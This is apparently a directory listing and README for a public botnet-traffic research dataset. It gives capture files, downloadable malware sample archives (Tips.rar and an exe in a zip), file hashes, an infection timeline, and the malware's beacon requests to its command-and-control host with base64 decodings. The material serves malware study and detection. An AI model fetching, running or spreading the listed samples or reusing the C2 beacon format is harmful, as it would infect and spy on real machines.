Index of /publicDatasets/CTU-Malware-Capture-Botnet-133-1

	Name	Last modified	Size	Description
	Parent Directory		-
	2015-09-09_capture-win4.biargus	2015-10-15 16:33	1.4M
	2015-09-09_capture-win4.binetflow	2015-10-15 16:33	844K
	2015-09-09_capture-win4.capinfos	2015-09-11 11:36	761
	2015-09-09_capture-win4.dnstop	2015-09-11 11:36	2.2K
	2015-09-09_capture-win4.html	2015-09-11 11:38	355K
	2015-09-09_capture-win4.json	2015-09-11 11:38	3.8K
	2015-09-09_capture-win4.passivedns	2015-09-11 11:36	1.9K
	2015-09-09_capture-win4.pcap	2015-09-10 14:24	2.0M
	2015-09-09_capture-win4.rrd	2015-09-10 14:26	8.0M
	2015-09-09_capture-win4.tcpdstat	2016-12-05 22:29	1.7K
	2015-09-09_capture-win4.weblogng	2016-06-15 17:43	48K
	README.html	2017-01-14 17:09	2.4K
	README.md	2015-09-11 22:08	1.9K
	TheTruthAboutYourSexualPeak,DontWorry.exe.zip	2015-12-16 10:26	90K
	Tips.rar	2015-09-08 09:46	84K
	bro/	2017-08-31 09:45	-
	fast-flux-dga-first-analysis.txt	2017-01-14 17:09	4.2K

Timeline

• Probable Name: Unknown
• Infected by opening a rar file called Tips.rar and then extracting an exe file called "The Truth About Your Sexual Peak , Don't worry.exe"
• Exe file MD5: f589827c4cf94662544066b80bfda6ab The Truth About Your Sexual Peak , Don't worry.exe
• Exe file SHA1: 7351ae5ad8856ff3f6721c79799a50bcc73340af
  
• Exe file SHA256: f10909905711d915be97bb0fae6b08fa19881f02e0c1eea4b00ad0b7a988861b
  
• Other md5: d06a43032b1544a84e9171aac1469236 Tips.rar
• VirusTotal
• Hybrid-Analysis
• This is the same binary as capture CTU-132-1

Tue Sep 8 09:45:37 CEST 2015

Start win4

Tue Sep 8 09:50:54 CEST 2015

Executed Tips.rar, open the container and double click in the exe file.

There was also a fake error and then start working like the Details.zip file of previous capture.

URLs Requested

GET /index.php HTTP/1.1 Host: facetoo.co.vu

GET /IOS.php?Pn=V0lONCB8IEFkbWluaXN0cmF0b3I&fr=&GR=RmFjZUJvb2soSU9TKTxicj4gMjAxNS0wOC0yNA&com=IDxicj4gIDxicj4g&ID=12418116422684110102619421320747612712095&o=TWljcm9zb2Z0IFdpbmRvd3MgNyBVbHRpbWF0ZSA&ho=ZmFjZXRvby5jby52dQ==&av=&v=501P HTTP/1.1 User-Agent: 12418116422684110102619421320747612712095 Host: facetoo.co.vu

Base64decode of some parts of the URL

• V0lONCB8IEFkbWluaXN0cmF0b3I
  • WIN4 | Administrator
• RmFjZUJvb2soSU9TKTxicj4gMjAxNS0wOC0yNA
  • FaceBook(IOS)
    2015-08-24
• IDxicj4gIDxicj4g
  • 
    
    
• TWljcm9zb2Z0IFdpbmRvd3MgNyBVbHRpbWF0ZSA
  • Microsoft Windows 7 Ultimate
• ZmFjZXRvby5jby52dQ==
  • facetoo.co.vu

Thu Sep 10 14:24:47 CEST 2015

poweroff